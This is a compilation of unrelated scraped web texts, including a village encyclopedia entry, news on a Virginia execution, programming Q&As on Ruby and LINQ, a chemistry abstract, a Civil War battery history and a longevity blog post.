Many beginning golfers tend to swing their club heads in the undesirable outside-inside manner. The natural tendency for right handed golfers during the forward portion of the golf swing is to attempt to hit the golf ball to the left side of the intended line of flight by moving the golf club head from an outside position at the end of the backswing to an inside position relative the golfer and the intended line of flight at the point of ball impact. As mentioned above, this type of swing results in a curve or slice of the golf ball to the right side of the intended line of flight. For inexperienced golfers, there is a natural tendency to increase the outside-inside nature of their golf swing in order to correct the slice. This natural tendency to increase the outside-inside character of the golf swing results in the slice becoming increasingly worse.
In order to overcome the natural tendency of many golfers to utilize an improper outside-inside swing, it would be desirable to provide a golf club head which provides visual cues or indicators which promote or otherwise tend to make the golfer utilize an inside-outside golf swing. | 2024-06-05T01:26:51.906118 | https://example.com/article/4203 |
Burton upon Stather
__NOTOC__
Burton-upon-Stather is a village and civil parish in North Lincolnshire, England. The village is situated north from Scunthorpe, 5 miles north-west from Frodingham, and is near the east bank of the River Trent. The civil parish consists of Burton-upon-Stather and the hamlets of Normanby and Thealby; its population at 2001 was 2,737, increasing slightly to 2,753 at the 2011 census.
History
The term Stather is of Danish origin and implies a landing-stage.
Up to 1914, the river landing was used as a calling place by steamers between Gainsborough and Hull.
A large slipway of concrete and wood to the north of Burton upon Stather was built in 1944 by the 79th Armoured Division (United Kingdom). It was used for testing and training with amphibious Duplex Drive tanks during the Second World War.
In 2009 a voluntary group was set up to protect, restore and provide access to the old Tank Ramp on the River Trent.
Community
Burton-upon-Stather Grade I listed Anglican parish church is dedicated to St Andrew. It was initially built in 1160, and had a tower added in 1230. The church was restored and altered in 1865, and restored again in 1889; remaining features are Perpendicular. There are monuments saved and removed from Owston resited within the church: an effigy of a knight with sword brought from Boston, a cannonball from the Battle of Solebay, and many monuments of the Sheffield family.
Burton Playing Fields is a section of land on the outskirts of the village, with facilities including a children's play area, a basketball court, various sports fields and a pavilion. It is also used for training and play by various local football teams.
The village received press attention over the issue of whether or not to have wind turbines built locally.
References
External links
Burton upon Stather Parish Council website
Burton upon Stather Heritage Group website
Category:Villages in Lincolnshire
Category:Civil parishes in Lincolnshire | 2024-07-25T01:26:51.906118 | https://example.com/article/7800 |
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According to a new study, as the economy tanked last year, so did Americans’ charitable giving. The Giving USA Foundation reports that we donated nearly six percent less than we did in 2007, the biggest annual drop in 50 years. This is hardly unexpected, but it’s still notable that charitable giving didn’t drop at the same rate as the stock market or people’s retirement funds. Which may suggest that even in hard times, we Americans are a fairly generous lot. Or are we? In our current issue, I explore the question of whether we can afford to give away even more of our hard-earned cash. As residents of the richest nation in the world, do we have an ethical obligation—as philosopher Peter Singer argues—to give away a substaintial chunk of our personal wealth to help others? And even if we do, can we write our favorite causes an IOU until the economic mess works itself out?
My take: I find Singer’s basic argument compelling, if guilt-inducing. We should still keep our checkbooks at the ready, not simply because it’s the right thing to do, but because nonprofits are an economic engine every bit as important as mismanaged auto companies or short-sighted investment firms. And they’re picking up much of the slack in our frayed social safety net. So, if you can afford it, go out and stimulate the economy and your conscience. (I don’t say this just because I work for a nonprofit magazine. Really.) Read my article and let me know what you think.
Image by Wikimedia Commons user Remi Jouan. | 2024-02-24T01:26:51.906118 | https://example.com/article/4607 |
GREENSVILLE COUNTY, Va. -- William Morva was put to death by lethal injection at 9:15 p.m. at the Greensville Correctional Center in Greensville County.
When asked if he had any last words, Morva responded "no," according to officials.
The Virginia man was convicted of killing a hospital security guard and a Montgomery County deputy in 2006.
Morva's death sentence has been questioned after lawyers claimed he suffered from a serious delusional disorder. Morva's last appeal was denied hours before his execution when Virginia Governor Terry McAuliffe announced he would not extend clemency to the convicted murderer.
McAuliffe said Morva was given a fair trial and even after a jury heard substantial evidence about his mental health, they still sentenced death by lethal injection.
"I personally oppose the death penalty; however, I took an oath to uphold the laws of this Commonwealth regardless of my personal views of those laws, as long as they are being fairly and justly applied,” McAuliffe said in a released statement. “Thus, after extensive review and deliberation consistent with the process I have applied to previous requests for commutation, I have declined Mr. Morva’s petition. I have and will continue to pray for the families of the victims of these terrible crimes and for all of the people whose lives have been impacted.”
Just over a dozen protesters demonstrated outside the correctional center gates, saying there were disappointed with the governor’s decision.
”Civilized countries and progressive states have done away with the death penalty and Virginia has actually taken a giant step backwards,” said one demonstrator.
The Supreme Court decided not to intervene in the execution earlier this year.
In August of 2006, Morva was an inmate at the Montgomery County Jail, awaiting charges on charges of burglary and attempted robbery. During a visit to the hospital for treatment, Morva overpowered Derrick McFarland, a hospital security guard and fatally shot him.
The next morning, Morva used McFarland's gun and fatally shot Montgomery County Sheriff’s Corporal Eric Sutphin, who attempted to capture him. That same day, Morva was captured.
A jury sentenced him to death in March of 2008 for the capital murder of a police officer. Since then, his attorneys have argued that Morva suffers from a serious delusional disorder.
His attorneys said Morva had no previous record of violence before these incidents.
“Prior to his trial, Mr. Morva was misdiagnosed with schizotypal personality disorder, a condition characterized by “odd beliefs,” and considered substantially less severe than delusional disorder,” they wrote.
Morva's attorneys said mental health experts that evaluated Morva and testified during his trial were not made aware of his mental state in the years before the crimes.
"The trial was fundamentally unfair because the jurors were not told about the severe mental illness at that William has in the role and played in the crimes," said Morva's court-appointed attorney Dawn Davison. "In 2014, he was evaluated by a court-appointed psychiatrist and she was the one who diagnosed him with the delusion disorder, which is a psychotic disorder."
Davison told WTVR CBS 6 in a Skype interview from her Charlottesville office that she hasn't seen her client in more than four years.
"William doesn't accept visits from his counsel," she explained. "He thinks we are part of a bigger conspiracy to kill him. William has also been declining visits from his family for many years and I know that's weighed heavily on [his mother, Elizabeth.]"
Numerous individuals and agencies petitioned McAuliffe to commute the sentence to life in prison without the possibility of parole.
On Wednesday, the United Nations also called for the execution to be halted. Cpl. Sutphin's daughter also asked McAuliffe to spare Morva's life.
Twenty-four Virginia legislators also petitioned the governor to grant clemency.
Montgomery County Commonwealth's Attorney Mary Pettitt wrote McAuliffe a letter that urged him not to grant clemency.
"Mr. Morva’s counsel now asserts that his trial was unfair because the jury had insufficient information about his mental health at the time he committed the crimes. This is highly inaccurate. Prior to trial, Mr. Morva was evaluated by a number of experienced and eminent mental health experts...To assert some 10 years later that all three of the original experts were wrong is absurd."
Pettitt further explained to WTVR CBS 6 a second separate issue is whether Morva is now mentally ill and whether a mentally ill person should be executed, which she did not address in the letter.
Morva and Ricky Gray are the only Virginia inmates to die on Death Row in 2017.
Statement from Morva's attorney in response to McAuliffe's decision:
William Morva’s July 6 execution will not make our community safer. He is not “the worst of the worst” for whom the death penalty is supposed to be reserved. He is a person with a severe mental illness whose problematic and criminal behaviors were driven by his chronic psychotic disorder. People living with severe mental illness and their families know what a profound impact it can have on behavior, even sometimes producing criminal behavior. But severe mental illness is not the entire measure of a man. At the time that he killed Derrick McFarland and Eric Sutphin, William was in the grip of a powerful psychosis that made him believe he had to escape in order to save his own life. The jurors who sentenced William to death did not know about these inescapable delusions, and the dynamic role they played in William’s crimes. Jurors were not told that with treatment William could be restored to mental health. Only one of the experts at William’s trial even spoke to a witness. And he only spoke to two. Neither had lived in the town where William lived for at least five years immediately preceding the crimes. Neither had the opportunity to observed his dramatic mental decline and its impact on his daily behavior. The Virginia Department of Corrections never conducted a mental health evaluation of Mr. Morva during his incarceration. Attorneys for the Commonwealth did not ask for an evaluation when the federal court afforded them the opportunity to do so. The Virginia Department of Corrections previously denied Percy Levar Walton and Calvin Swann were mentally ill before Governors Kaine and Gilmore rejected those conclusions and determined commutation was appropriate. Walton was later diagnosed and successfully treated by the Department of Corrections for schizophrenia. William apparently will go to his grave never having received treatment for his chronic psychotic disorder. Sadly, when he is executed, he will understand it to be the natural but horrific ending to a campaign of persecution that has been waged against him for fifteen years. Such is the power of delusions that even the prospect of imminent death cannot dispel them. We hope that by improving access to proper evaluation and treatment for persons living with severe mental illness we can avoid future tragedies. | 2024-06-26T01:26:51.906118 | https://example.com/article/2345 |
Morgan, Dr Irvonwy1907-1982; e.m. 1932
Born at Trefeglwys, Montgomeryshire on 11 April 1907. He was educated at Kingswood School and was the first non-graduate to be admitted to Wesley House, Cambridge. In 1932 he joined W.H. Lax in the Poplar and Bow Circuit. In 1935 he withdrew from the ministry for a year to consider a call to the Catholic priesthood. In 1951 he became Secretary of the London Mission and its Extension Fund and was responsible for planning the rebuilding of the capital's Methodist churches destroyed in the Blitz. He was President of the Conference in 1967, Moderator of the Free Church Federal Council in 1972 and chairman of the Bible Lands Society. He received his London Ph.D. for a thesis on The Nonconformity of Richard Baxter (1946). He died at Wallington, Surrey on 24 September 1982. | 2024-06-10T01:26:51.906118 | https://example.com/article/3614 |
Q:
Is it possible for a field to be read-only in the metadata, but update-able in a layout?
Using the REST API (v31.0), I can get the metadata for an object and look at the fields for that object.
{
fields: [
{
...
updateable: false,
}
]
}
Buried deep within the detailLayoutSections and editLayoutSections for an object, the details object will also have an updateable flag.
This has made me wonder if it is possible to have a field be non-updateable in the metadata, but updateable in a layout (since you can choose on the layout if a field should be read-only or not).
A:
I would say no.
The reason for the updateable in the layout is that a field can be updateable at the object level BUT be set to read only on the layout and thus not updateable. Unless I am misunderstanding your question.
| 2023-11-22T01:26:51.906118 | https://example.com/article/7265 |
'Avatar' sequels: An update on James Cameron's plans
Nick Perry / Associated Press
New Zealand Prime Minister John Key, left, and Economic Development Minister Steven Joyce listen as director James Cameron announces details about three sequels to his 2009 blockbuster sci-fi movie "Avatar."
"Avatar" fans hungry for information about the long-gestating sequels to the 2009 science fiction blockbuster got another morsel this week, when director James Cameron said he will film the live-action portions of the three movies in New Zealand, with production scheduled to start there in early 2015.
Cameron said the intention is to shoot the three movies concurrently, releasing the first sequel in time for Christmas 2016 and the following sequels in late 2017 and late 2018.
The announcement, which Cameron made at a news conference in Wellington, New Zealand, on Monday, came with a promise from "Avatar's" studio, 20th Century Fox, to spend at least $413 million in the island nation, in exchange for a 25% tax rebate there. In addition to the live-action shooting, much of the visual-effects work will be handled by New Zealand's Weta Digital.
As on the first "Avatar" movie, the performance-capture portions of the film, which represent a large chunk, will be shot on stages in California, this time at a studio in Manhattan Beach.
Cameron's game plan for the "Avatar" sequels has shifted frequently since the 2009 film became the highest-grossing movie of all time and collected nine Oscar nominations, with release dates, screenwriters and even the number of films changing along the way.
In August, Fox announced that Cameron and his production company, Lightstorm Entertainment, had increased the number of sequels to three and brought on screenwriters to help the director complete the sprawling and complex series. Josh Friedman ("War of the Worlds") is writing "Avatar 2," Rick Jaffa and Amanda Silver ("Rise of the Planet of the Apes") are tackling "Avatar 3" and Shane Salerno ("Savages") is at work on "Avatar 4."
The evolving schedule is familar terrain for Cameron and Fox, which pushed back the releases of both "Titanic" and the first "Avatar" to accommodate the scale and ambition of those films.
Taken together, the three "Avatar" sequels dwarf even the scope of Cameron's earlier movies. At the Wellington press conference, the director said he expects the three films to cost under $1 billion. | 2023-08-02T01:26:51.906118 | https://example.com/article/7304 |
Prairie Dogs Can Talk, Says Scientist
What would happen if we discovered another intelligent species? According to Con Slobodchikoff, we already have; prairie dogs can talk using a language more sophisticated than any other animal ever studied. Would it alter the manner in which we could use the land occupied by the individuals of that species? Science fiction writer H. Beam Piper wrote a great novel exploring the topic.
Most people listening to prairie dog chatter describes it as a series of yips, high-pitched barks or eeks. However, according to Dr. Slobodchikoff, Professor of Biology at Northern Arizona University, prairie dogs are capable of referential communication. They have:
different alarm calls for different species of predators
different escape behaviors for different species of predators
transmission of semantic information, in that playbacks of alarm calls in the absence of predators lead to escape behaviors that are appropriate to the kind of predator who elicited the alarm calls
alarm calls containing descriptive information about the general size, color, and speed of travel of the predator.
Prairie dogs are able to use adjectives to differentiate objects, including human beings. For example, they can describe the color of clothes on a human and whether he is tall or short. They can also describe how fast a man is moving or whether he is carrying a gun. And there’s evidence that the animals can remember that specific person for up to two months.
Prairie dog colonies appear to have unique dialects, much like New Yorkers sound different from Southerners. But researchers believe the basic language is the same. That is, a prairie dog from Arizona could talk to a prairie dog from New Mexico. And that's comforting.
In his marvelous 1962 novel Little Fuzzy, science fiction author H. Beam Piper explores a newly-discovered planet called Zarathustra. A sunstone prospector named Jack Holloway discovers an interesting new species of animal on the planet - he calls them "little fuzzies":
...something inside the drawer said Yeeeeek! in a startled voice.
He turned quickly, to see two wide eyes staring up at him out of a ball of golden fur. Whatever it was, it had a round head and big ears and a vaguely humanoid face with a little snub nose. It was sitting on its haunches, and int that position it was about a foot high...
(From The Fuzzy Papers)
The novel closely examines a variety of ways to distinguish an intelligent, sapient species from animals. It's particularly important on Zarathustra, because the planet is owned by a corporation that holds its charter by virture of the (presumed) fact that the planet has no native intelligent species. This is a great book, well worth reading. | 2024-04-24T01:26:51.906118 | https://example.com/article/6923 |
Q:
Ruby - ActiveModel::SecurePassword not working
I have a simple ruby class with ActiveModel::Validations and ActiveModel::SecurePassword included, I provide all required attributes (below) to the new obkject but when I validate it it says it's false.
require 'active_model'
require 'bcrypt'
class User
include ActiveModel::Validations
include ActiveModel::SecurePassword
attr_accessor :name, :email, :password, :password_digest
def initialize(name:, email:, password:)
@name, @email, @password = name, email, password
end
validates :name, :email, presence: true
has_secure_password
end
user = User.new(
name: "TestUser1",
email: "test@gmail.com",
password: "password"
)
puts user.valid? => false
puts user.errors.messages => {:password=>["can't be blank"]}
puts user.password => password
According to the documentation here has_secure_password provides validations on password accessor:
Password should be present.
Password should be equal to its confirmation (provided password_confirmation is passed along).
The maximum length of a password is 72 (required by bcrypt on which ActiveModel::SecurePassword depends)
What am I doing wrong? How's this object false?
EDIT
I have also tried adding password_confirmation attribute but it didn't work either.
user.password_confirmation = "password"
puts user.valid? => false
puts user.errors.messages => {:password=>["can't be blank"]}
A:
Since you need to have password_digested filled by ActiveModel::SecurePassword you have to call User#password= setter method. But it's not happening when you set your password using @password = password in your initializer. To fix it you have set it using self.password = password:
def initialize(name:, email:, password:)
@name, @email = name, email
self.password = password
end
Also you need to remove :password from attr_accessor call because SecurePassword provides it.
| 2024-07-14T01:26:51.906118 | https://example.com/article/4111 |
Applied Filters
Description:
This report covers the 2007 Department of Defense (DOD) major procurement initiative to replace most up-armored High Mobility, Multi-Wheeled Vehicles (HMMWVs) with Mine-Resistant, Ambush-Protected (MRAP) vehicles. It looks at the cost and subsequent budgets of this initiative.
Description:
This report covers the 2007 Department of Defense (DOD) major procurement initiative to replace most up-armored High Mobility, Multi-Wheeled Vehicles (HMMWVs) with Mine-Resistant, Ambush-Protected (MRAP) vehicles. It looks at the cost and subsequent budgets of this initiative. Among potential issues for congressional consideration are the status of older, unused MRAPS in Afghanistan that are reportedly not being used because of their size and weight; possible redundancies with the MRAP, M-ATV, and the Joint Light Tactical Vehicle (JLTV) programs; and actual Marine M-ATV requirements.
Description:
This report discusses the background and present status of Congress' involvement in the MRAP program. Topics include the deployment of MRAPs, their efficacy at reducing casualties, and possible issues of unused vehicles and redundancy.
Description:
This report discusses the background and present status of Congress' involvement in the MRAP program. Topics include the deployment of MRAPs, their efficacy at reducing casualties, and possible issues of unused vehicles and redundancy.
Description:
This report covers the 2007 Department of Defense (DOD) major procurement initiative to replace most up-armored High Mobility, Multi-Wheeled Vehicles (HMMWVs) with Mine-Resistant, Ambush-Protected (MRAP) vehicles. It looks at the cost and subsequent budgets of this initiative. Among potential issues for congressional consideration are the status of older, unused MRAPS in Afghanistan that are reportedly not being used because of their size and weight; possible redundancies with the MRAP, M-ATV, and the Joint Light Tactical Vehicle (JLTV) programs; and actual Marine M-ATV requirements. | 2023-08-30T01:26:51.906118 | https://example.com/article/2073 |
Q:
Using IPython if set ArcGIS's python as default kernel in spyder?
i install anaconda first then set the arcgis python 2.7.8 win32 as interpreter just like
Importing arcpy in Spyder said,but why i cannot open my IPython then?
A:
I am not sure if you set the arcpy paths correctly, but this is how I did to import arcpy into Spyder. To set the path of arcpy, go to Tools -> PYTHONPATH Manager and add the following paths:
C:\Program Files (x86)\ArcGIS\Desktop10.3\ArcToolbox\Scripts
C:\Program Files (x86)\ArcGIS\Desktop10.3\arcpy
C:\Program Files (x86)\ArcGIS\Desktop10.3\bin
It will should be like this:
I could use IPython without any problem.
| 2024-01-07T01:26:51.906118 | https://example.com/article/4429 |
Atmospheric chemistry of propionaldehyde: kinetics and mechanisms of reactions with OH radicals and Cl atoms, UV spectrum, and self-reaction kinetics of CH3CH2C(O)O2 radicals at 298 K.
The kinetics and mechanism of the reactions of Cl atoms and OH radicals with CH3CH2CHO were investigated at room temperature using two complementary techniques: flash photolysis/UV absorption and continuous photolysis/FTIR smog chamber. Reaction with Cl atoms proceeds predominantly by abstraction of the aldehydic hydrogen atom to form acyl radicals. FTIR measurements indicated that the acyl forming channel accounts for (88 +/- 5)%, while UV measurements indicated that the acyl forming channel accounts for (88 +/- 3)%. Relative rate methods were used to measure: k(Cl + CH3CH2CHO) = (1.20 +/- 0.23) x 10(-10); k(OH + CH3CH2CHO) = (1.82 +/- 0.23) x 10(-11); and k(Cl + CH3CH2C(O)Cl) = (1.64 +/- 0.22) x 10(-12) cm3 molecule(-1) s(-1). The UV spectrum of CH3CH2C(O)O2, rate constant for self-reaction, and rate constant for cross-reaction with CH3CH2O2 were determined: sigma(207 nm) = (6.71 +/- 0.19) x 10(-18) cm2 molecule(-1), k(CH3CH2C(O)O2 + CH3CH2C(O)O2) = (1.68 +/- 0.08) x 10(-11), and k(CH3CH2C(O)O2 + CH3CH2O2) = (1.20 +/- 0.06) x 10(-11) cm3 molecule(-1) s(-1), where quoted uncertainties only represent 2sigma statistical errors. The infrared spectrum of C2H5C(O)O2NO2 was recorded, and products of the Cl-initiated oxidation of CH3CH2CHO in the presence of O2 with, and without, NO(x) were identified. Results are discussed with respect to the atmospheric chemistry of propionaldehyde. | 2024-02-07T01:26:51.906118 | https://example.com/article/4290 |
Q:
Populate a class from Linq to XML
Ok, so I have an XML file that pretty much looks like this:
<Templates>
<Template>
<TemplateID>00X500000011iTSEAY</TemplateID>
<To>
<To type='User'>00550000000mfOU</To>
<To type='User'>00550000000mb3pAAA</To>
<To type='Group'>00G50000001PiHz</To>
<To type='AccountTeam'>AccountExecutive</To>
</To>
<CC>
<CC type='AccountTeam'>SalesLead</CC>
</CC>
<BCC>
<BCC type='SalesTeam'>SalesManager</BCC>
</BCC>
</Template>
</Templates>
With that, what I'm trying to do is to populate some classes that can make sense of that. So the first thought I had was something like this for the To Elements:
public class EmailRecipient
{
public ToRecipient To {get;set;}
public CCRecipient CC {get;set;}
}
public class ToRecipient
{
public string Key {get;set;}
public string Type {get;set;}
}
Not entirely elegant, but this is my rough draft. I'm trying to use Linq to XML for this since I know what TemplateId I have, and then I can just populate the class with the values. Here's where I'm at...and stuck in this test app:
var results = from x in xmlDoc.Descendants(XName.Get("Template")
where x.Element(XName.Get("TemplateID")).Value == "00X500000011iTSEAY"
select new EmailRecipient()
{
ToRecipient =
};
With all of that being said, I'm looking to get a collection of "Tos" where each "to" can a "type" value.
Any help would be greatly appreciated, I've done more in with XML in the past 3 days than have in the past 3 years, and that ain't much.
Thanks so much for any help.
A:
Since you have more than one ToRecipient per EmailRecipient instance, the type of the To property will need to be a collection type. If you make it an IEnumerable:
public class EmailRecipient
{
public IEnumerable<ToRecipient> To { get; set; }
}
Then this LINQ query should do the trick:
var results = from x in xmlDoc.Descendants(XName.Get("Template"))
where x.Element(XName.Get("TemplateID")).Value == "00X500000011iTSEAY"
select new EmailRecipient()
{
To = (from to in x.Element("To").Elements("To")
select new ToRecipient { Key = to.Value, Type = to.Attribute("type").Value}).ToList()
};
| 2023-08-17T01:26:51.906118 | https://example.com/article/1891 |
A big winner at last year's SXSW, this palm-size Bronx indie about a couple of graffiti bombers aiming to gain fame by tagging the Mets' Home Run Apple runs on nothing but biodiesel personality. Malcolm (Ty Hickson) and Sofia (Tashiana Washington) are mates only in spraying, and they work a variety of small-time crimes (dealing, stolen goods) to raise the money needed to fulfill their dream. It’s a nowhere set-up--tagger prestige and two-fifty will get you on the B--and hardly even required, as first-timer Leon limns the neighborhoods' textures without patronizing, drops his kids into skirmishes and mishaps, and focuses, slowly, on their budding romance. Rather '80s-retro as indies go (it's even shot rather Spike Lee-ishly), the movie banks not so much on street cred but on old-fashioned movie charisma. Hickson is amiable and deft, if still a touch awkward with dialogue, but Washington, playing a defensive and belligerent child of her borough, is radiant, razor-like and preeminently watchable. Equally magnetic, Zoë Lescaze is unforgettable as a rich-white-girl pot-buyer with no self-control. Leon's grungy résumé indie is a modest deal, with a sweet, mumblecoresque ending, but it glows with unmistakable star power.
Michael Atkinson
Theaters & Showtimes
Theaters showing Gimme the Loot(Click on a showtime to purchase tickets) | 2023-08-09T01:26:51.906118 | https://example.com/article/5583 |
Caption: Buttercup flower (Ranunculus sp.), coloured scanning electron micrograph (SEM). The pistil (centre) is surrounded by the stamens. The pistil is the female reproductive structure of the flower that comprises the ovary and style and stigma. The stamen is the male reproductive structure composed of a filament and an anther. The anthers produce pollen grains (not seen), each containing a male reproductive cell (gamete). Pollen is transferred to the pistils of another buttercup plant, fertilising it and initiating seed production. | 2024-06-27T01:26:51.906118 | https://example.com/article/5249 |
National Association of Home Builders Discusses Economics and Housing Policy
Slight Growth for Market Share of 5,000+ Square Foot Homes in 2014
New homes with 5,000 square feet or more of living space posted a small increase in market share last year, according to the Census Bureau’s Survey of Construction. In 2014, the share of new homes this size reached a post-recession peak of 3.75% of new homes started. The total number of 5,000+ square-foot homes started that year was 24,000 units.
In the boom year of 2006, 3.04% or 45,000 new homes started were 5,000 square feet or larger. In 2007, the share of new homes this size was 3.56%, yet the total number of 5,000+ square-foot homes started that year fell to 37,000. In 2008, only 20,000 such homes were started or 3.24% of the total. From 2009 to 2011, fewer than 13,000 of these large homes were started every year, accounting for less than 3% of all new construction during this period.
Previous posts have discussed the upward trend in the median and average size of new single-family homes and how part of this is likely due to a historically atypical mix of buyers in the market. In 2012, the number of new homes started with 5,000+ square feet rose to 15,000 units, yet their share remained at only 2.78%. In 2014, while the number of 5,000+ square feet homes started (24,000) was the highest since 2008, their share of the new market (3.75%) was the highest since 2004.
The extent to which the 5,000+ square foot homes have recovered roughly to where they were in 2008, both as a share of all new construction and in absolute numbers, shows a growing trend at the top of the market. | 2023-12-27T01:26:51.906118 | https://example.com/article/7018 |
19th Ohio Battery
19th Ohio Independent Battery was an artillery battery that served in the Union Army during the American Civil War.
Service
The battery was organized in Cleveland, Ohio and mustered in September 10, 1862, for a three-year enlistment under Captain Joseph C. Shields.
The battery was attached to Army of Kentucky, Department of the Ohio, to December 1862. Artillery, 2nd Division, Army of Kentucky, Department of the Ohio, to January 1863. District of Central Kentucky, Department of the Ohio, to June 1863. 2nd Brigade, 4th Division, XXIII Corps, Army of the Ohio, to July 1863. 2nd Brigade, 1st Division, XXIII Corps, to August 1863. Reserve Artillery, XXIII Corps, to January 1864. 1st Brigade. 3rd Division, XXIII Corps, to April 1864. Artillery, 2nd Division, XXIII Corps, to February 1865. Artillery, 2nd Division, XXIII Corps, Department of North Carolina, to June 1865.
The 19th Ohio Battery mustered out of service at Salisbury, North Carolina, on June 28, 1865.
Detailed service
Moved to Covington, Ky., October 6; then marched to Lexington, Ky., October 23–28. Camp at Ashland, Lexington, Ky., until December 1862. Moved to Richmond, Ky., December 10; then to Danville, Ky., December 31, and to Frankfort January 5, 1863. Return to Lexington, Ky., February 22, and duty there until June 6. March to Somerset June 6–10. Pursuit of Morgan from Somerset, Ky., to Steubenville, Ohio, July 5–29. Burnside's Campaign in eastern Tennessee August 16-October 17. Expedition to Cumberland Gap September 3–7. Operations about Cumberland Gap September 7–10. Duty at Knoxville, Tenn., until December. Knoxville Campaign November 4 to December 23. Campbell's Station November 16. Siege of Knoxville November 17-December 5. Camp at College Hill until March 1864. Moved to Morristown March 15, then to Mossy Creek. Moved to Knoxville April 20, then march to Cleveland, Tenn., April 27-May 3. Atlanta Campaign May to September. Demonstrations on Dalton May 9–13. Rocky Faced Ridge May 9–11. Battle of Resaca May 14–15. Advance on Dallas May 18–25. Operations on line of Pumpkin Vine Creek and battles about Dallas, New Hope Church, and Allatoona Hills May 25-June 5. Operations about Marietta and against Kennesaw Mountain June 10-July 2. Pine Hill June 11–14. Lost Mountain June 15–17. Muddy Creek June 17. Noyes Creek June 19. Kolb's Farm June 22. Assault on Kennesaw June 27. Nickajack Creek July 2–5. Chattahoochie River July 5–17. Capture of Decatur July 19. Howard House July 20. Siege of Atlanta July 22-August 25. Utoy Creek August 5–7. Flank movement on Jonesboro August 25–30. Battle of Jonesboro August 31-September 1. Lovejoy's Station September 2–6. Duty at Decatur until October, and at Atlanta until November 1. Moved to Nashville, Tenn., November 1. Nashville Campaign November–December. In front of Columbia, Tenn., November 24–27. Battle of Franklin November 30. Battle of Nashville December 15–16. Pursuit of Hood to the Tennessee River December 17–28. At Clifton, Tenn., until January 15, 1865. Movement to North Carolina via Washington, D.C., January 15–22. Occupation of Wilmington February 22; duty there until March 6. Advance on Goldsboro March 6–21. Occupation of Goldsboro March 21. Advance on Raleigh April 10–13. Occupation of Raleigh April 14. Bennett's House April 26. Surrender of Johnston and his army. Duty at Raleigh and Salisbury, N.C., until June.
Casualties
The battery lost a total of 9 enlisted men during service; 2 killed and 7 died due to disease.
Commanders
Captain Joseph C. Shields
Captain Frank Wilson, Sr.
See also
List of Ohio Civil War units
Ohio in the Civil War
References
Dyer, Frederick H. A Compendium of the War of the Rebellion (Des Moines, IA: Dyer Pub. Co.), 1908.
Ohio Roster Commission. Official Roster of the Soldiers of the State of Ohio in the War on the Rebellion, 1861–1865, Compiled Under the Direction of the Roster Commission (Akron, OH: Werner Co.), 1886-1895.
Reid, Whitelaw. Ohio in the War: Her Statesmen, Her Generals, and Soldiers (Cincinnati, OH: Moore, Wilstach, & Baldwin), 1868.
Tracie, Theodore C. Annals of the Nineteenth Ohio Battery Volunteer Artillery (Cleveland, OH: J. B. Savage), 1878.
Attribution
External links
Ohio in the Civil War: 19th Ohio Battery by Larry Stevens
National flag of the 19th Ohio Battery
Category:Military units and formations established in 1862
Category:Military units and formations disestablished in 1865
Category:Ohio Civil War regiments
Category:Artillery units and formations of the American Civil War
Category:1862 establishments in Ohio | 2024-04-13T01:26:51.906118 | https://example.com/article/1623 |
Blue Zones And Longevity: Making That Journey To 100
Want to discover the secrets to longevity? Graceful ageing is not simply about medical advancements and diet. While “food is thy medicine” and is crucial, evidence shows that sex, naps, exercise, community, and a sense of purpose (also known as Ikigai ) are also vital components to a long life.
Tune in to the Journey To 100 livestream, a world-exclusive conference that explores ideas for a new and sustainable approach to lifelong health, featuring leading experts in the field of health, nutrition, and wellness. Listen as they share their stories and expertise and help us to understand how we can live healthier, happier lives, from zero to 100 years old and beyond.
Topics also covered included functional medicine, gene therapy, and Blue Zones, an anthropological concept that describes the characteristic lifestyles and the environments of the world’s longest-lived people. The concept grew out of demographic work done by Michel Poulain, who is considered the Father of BlueZones. He was also on hand to give a talk. (I will be speaking more about Blue Zones in upcoming articles).
The day also launched a 10-year project that aims to make Guernsey the first community in the world to break through the 100-year life expectancy barrier. Currently the self-governing country has the 10th highest life expectancy in the world (82.7 years). To put things in perspective, America ranks at 42 and is in decline.
Guernsey has the potential to show the world how preventative health care and a proactive approach to well-being could make it the first country to have an average life expectancy of 100.
So many people were inspired, challenged and motivated to get involved in the mission to have Guernsey become the Blue Zone of Blue Zones. By the end of the day what was a crazy idea to many seemed quite plausible and achievable.
Longevity Across The Pond
When I was initially invited to cover the longevity conference organizers, the digital nomad in me fell in love with the notion of traveling to the English Channels. Yet I could not justify going across the pond for just one day, even though the conference definitely resonated with me.
I shared my thoughts with Maskell, who put me in touch with Jason Prall, longevity & optimal health practitioner, who is producing an eight-part series on Blue Zones and human longevity.
“There is so much talk about disease, I wanted to explore and focus on health and hopefully empower people,” says Prall.
As it turns out, Prall was experiencing some challenges with finding people in Ikaria, Greece, a remote island about 30 miles off the coast of Turkey that is also considered the No. 1 Blue Zone in the world.
Given my familiarity with Greece, I offered to help. As it turns out, I now will be documenting their findings for HoneyColony and other publications, and have also helped set up some interviews for them in Italy and Greece.
These explorations into longevity complement my studies in functional medicine. For instance, a few months ago, I earned my certificate in metabolomics after doing a metabolomic panel in Athens in the summer of 2016 under the supervision of Dr. Dimitris Tsoukalas. (I will be taking follow up tests to see how my condition has improved.)
Zoinks! The Qualms Of Travel
Traveling this much – despite my many years of experience living out of suitcases – has made me nervous! For one, I’ve finally got a good grip on my health, having reversed my ANA levels, and I don’t want to put that at risk. Secondly, given my multiple chemical sensitivities, I have become a canary environmental indicator like the bees. I suspect I am still dealing with infections and a compromised liver.
I used to think and believe that my body was attacking itself. Today, I believe that our conviction and bodies are capable of amazing things. You would never guess by looking at me that I am a 44-year-old, who has been literally run over by a Ford Explorer and dragged 49 feet. And then, years later, exposed to pesticides on three different occasions before being diagnosed with the autoimmune condition Lupus and Fibromyalgia.
I plan to live a long healthy life. I stand (and fortunately walk) for inspiration and for what is possible. Join me on the journey!
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Disclaimer: HoneyColony and its materials are not intended to treat, diagnose, cure or prevent any disease. All material on HoneyColony is provided for educational purposes only. Always seek the advice of your physician or another qualified healthcare provider for any questions you have regarding a medical condition, and before undertaking any diet, exercise or other health related program.
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Pound Seizure
By Neal D. Barnard, M.D.
The Physicians Committee for Responsible Medicine opposes the practice of releasing animals from shelters or pounds for use in experimentation, sometimes referred to as pound seizure. PCRM is a national nonprofit organization that addresses several issues in medicine and research.
Most cities that are homes to leading research centers no longer allow the release of pound animals to research laboratories. Boston, the home of Harvard, the Massachusetts Institute of Technology, and other universities; Baltimore, the home of Johns Hopkins University; as well as New York City and Washington, D.C., are among the areas that have chosen not to release animals for research.
The National Institutes of Health intramural researchers never use animals from pounds. The National Institute of Mental Health also makes no use of pound animals in its intramural research.
